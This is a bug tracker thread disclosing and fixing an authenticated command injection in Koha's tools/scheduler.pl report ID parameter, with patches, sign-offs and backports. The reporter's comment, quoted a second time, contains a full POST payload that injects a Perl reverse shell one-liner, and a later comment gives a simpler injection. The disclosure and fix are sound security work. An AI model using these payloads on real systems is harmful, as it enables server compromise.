Within Koha 24.05.04.000 the task scheduler function POST /cgi-bin/koha/tools/scheduler.pl is vulnerable to a remote code execution vulnerability. The report ID parameter can be escaped, allowing for code execution and subsequently a reverse shell, as seen below: csrf_token=3ae36b7f644a8ff024fca82b833a4045369bf963,69170caee9b97c0952c9339f367788ffd0430dfa,1739974697&op=cud-add&starttime=16:33&startdate=&report=19012025```perl -e 'use Socket;$i="127.0.0.1";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};' ```&format=text&email=test@test.test
(In reply to fairman48 from comment #0) > Within Koha 24.05.04.000 the task scheduler function POST > /cgi-bin/koha/tools/scheduler.pl is vulnerable to a remote code execution > vulnerability. > > The report ID parameter can be escaped, allowing for code execution and > subsequently a reverse shell, as seen below: > > csrf_token=3ae36b7f644a8ff024fca82b833a4045369bf963, > 69170caee9b97c0952c9339f367788ffd0430dfa,1739974697&op=cud-add&starttime=16: > 33&startdate=&report=19012025```perl -e 'use > Socket;$i="127.0.0.1";$p=443;socket(S,PF_INET,SOCK_STREAM, > getprotobyname("tcp"));if(connect(S,sockaddr_in($p, > inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S"); > exec("/bin/bash -i");};' > ```&format=text&email=test@test.test I would like to submit this as a CVE, but I will wait for your approval.
Reposting with further details for clarification: Koha is vulnerable to authenticated RCE via the tools/scheduler.pl file. The user-supplied $report variable is interpolated into the $command variable without any form of validation or sanitisation being done on it. This effects all versions of Koha, up to and including the latest release, which at the time of this writing is 24.11.01-2. Lines 92-94 of the current tools/scheduler.pl file are specifically where the vulnerability is introduced: my $command = "export KOHA_CONF=\"$CONFIG_NAME\"; " . "$base/cronjobs/runreport.pl $report --format=$format --to='$email'"; A proof-of-concept involves specifying a valid report ID (checked on lines 67-73) followed by a set of triple backticks to facilitate command injection, like so: csrf_token=...&op=cud-add&starttime=16:33&startedate=&report=19012025```echo 1 > /dev/shm/rce.txt```&format=text&email=test@test.test During an engagement I was able to utilise this bug to establish a reverse shell on a client's server.
Taking a look now and will tell you more in a minute.
(In reply to Craig Fairman from comment #2) > A proof-of-concept involves specifying a valid report ID (checked on lines > 67-73) followed by a set of triple backticks to facilitate command > injection, like so: Can you describe your proof-of-concept further? If you're doing a GET request for this, it sounds like your client wasn't "Plack-enabled" and thus didn't have the CSRF protection to prevent this state change.
I'll look at a Plack-disabled CGI only instance as well, in any case. But just looking for as much info as possible.
Yeah, no, even with Plack disabled that GET request isn't possible. So I'm assuming we're doing a POST via the form?
It’s via POST to /cgi-bin/koha/tools/scheduler.pl
(In reply to Craig Fairman from comment #7) > It’s via POST to /cgi-bin/koha/tools/scheduler.pl Ok but can you describe your actual proof-of-concept? What's your hypothetical scenario of someone trying to exploit this vulnerability? For instance, if I go to /cgi-bin/koha/tools/scheduler.pl, I have to manually change the HTML using the F12 tools to change <select name="report" id="report"> to <input type="text" name="report" id="report"/> and then put in my payload into the text box. Most of my attempts fail to get added, but it did work once...
I've opted for a less malicious payload and now I can get it to work more reliably, and from a code review I do see the problem. Not sure how this didn't get picked up earlier.
Created attachment 178382 [details] [review] Bug 39170: Improve validation of report ID This change improves the validation of the report ID passed by the user. Test plan: 0. Apply the patch 1. koha-plack --restart kohadev 2. Create a SQL report 3. Go to /cgi-bin/koha/tools/scheduler.pl 4. Add in a Time, Date, and Email 5. Choose your report from the list 6. Click "Save" 7. Note that your report is saved
@Craig, can you try out the patch I've posted?
Created attachment 178383 [details] [review] Bug 39170: Improve validation of report ID This change improves the validation of the report ID passed by the user. Test plan: 0. Apply the patch 1. koha-plack --restart kohadev 2. Create a SQL report 3. Go to /cgi-bin/koha/tools/scheduler.pl 4. Add in a Time, Date, and Email 5. Choose your report from the list 6. Click "Save" 7. Note that your report is saved
My proof-of-concept scenario is that anyone with access to the task scheduler functionality can compromise the server. It's a little difficult to accomplish with just a browser, but anyone looking to exploit a server running your software in this manner will be using the appropriate tooling, which makes it trivial to exploit. I'm not able to actually test these changes as I don't have the necessary access to the client environment that I found the issue in, but after reviewing your patch and doing some local testing I'm confident that this change would indeed fix the issue completely. Once the patch has been merged, would it be alright if I were to submit this issue as a CVE?
(In reply to Craig Fairman from comment #14) > My proof-of-concept scenario is that anyone with access to the task > scheduler functionality can compromise the server. It's a little difficult > to accomplish with just a browser, but anyone looking to exploit a server > running your software in this manner will be using the appropriate tooling, > which makes it trivial to exploit. I think that you misunderstand me. I was asking how you specifically exploited it, so that I could easily replay the attack. But don't worry about it. I see what the problem is, so it's all good. I wouldn't say that it's trivial to exploit, since there's a number of layers in the way, but it would be easy for a determined attacker who already possesses admin access to exploit this. > I'm not able to actually test these changes as I don't have the necessary > access to the client environment that I found the issue in, but after > reviewing your patch and doing some local testing I'm confident that this > change would indeed fix the issue completely. Thanks. I'll get some other devs to test and push it along the process here. > Once the patch has been merged, would it be alright if I were to submit this > issue as a CVE? Yes, and if you could post the CVE ID here after that would be great.
Created attachment 178442 [details] [review] Bug 39170: Improve validation of report ID This change improves the validation of the report ID passed by the user. Test plan: 0. Apply the patch 1. koha-plack --restart kohadev 2. Create a SQL report 3. Go to /cgi-bin/koha/tools/scheduler.pl 4. Add in a Time, Date, and Email 5. Choose your report from the list 6. Click "Save" 7. Note that your report is saved Signed-off-by: Phil Ringnalda <phil@chetcolibrary.org>
Created attachment 178444 [details] [review] Bug 39170: Improve validation of report ID This change improves the validation of the report ID passed by the user. Test plan: 0. Apply the patch 1. koha-plack --restart kohadev 2. Create a SQL report 3. Go to /cgi-bin/koha/tools/scheduler.pl 4. Add in a Time, Date, and Email 5. Choose your report from the list 6. Click "Save" 7. Note that your report is saved Signed-off-by: Phil Ringnalda <phil@chetcolibrary.org> Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Pushed to 23.11.x-security for v23.11.12
Please rebase for 22.11.x
Applied to 22.11.x-security
Applied to 24.11.x-security
Applied to 24.05.x-security branch.